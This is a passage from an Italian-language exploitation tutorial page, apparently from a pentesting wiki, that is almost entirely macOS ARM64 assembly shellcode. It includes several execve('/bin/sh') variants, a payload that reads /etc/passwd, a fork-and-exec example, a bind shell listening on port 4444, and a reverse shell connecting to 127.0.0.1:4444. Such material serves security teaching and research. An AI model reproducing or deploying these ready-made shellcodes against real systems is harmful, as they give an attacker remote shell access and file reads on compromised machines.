mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

{% endtab %}

{% tab title="con stack" %}

.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
; We are going to build the string "/bin/sh" and place it on the stack.

mov  x1, #0x622F  ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48   ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str  x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.

; Prepare arguments for the execve syscall.

mov  x1, #8       ; Set x1 to 8.
sub  x0, sp, x1   ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

{% endtab %}

{% tab title="con adr per linux" %}

; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

{% endtab %} {% endtabs %}

Leggere con cat

L'obiettivo è eseguire execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), quindi il secondo argomento (x1) è un array di parametri (che in memoria significa uno stack degli indirizzi).

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

Esegui il comando con sh da una fork in modo che il processo principale non venga ucciso

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

Shell di bind

Shell di bind da https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s sulla porta 4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Shell inversa

Da https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell a 127.0.0.1:4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337
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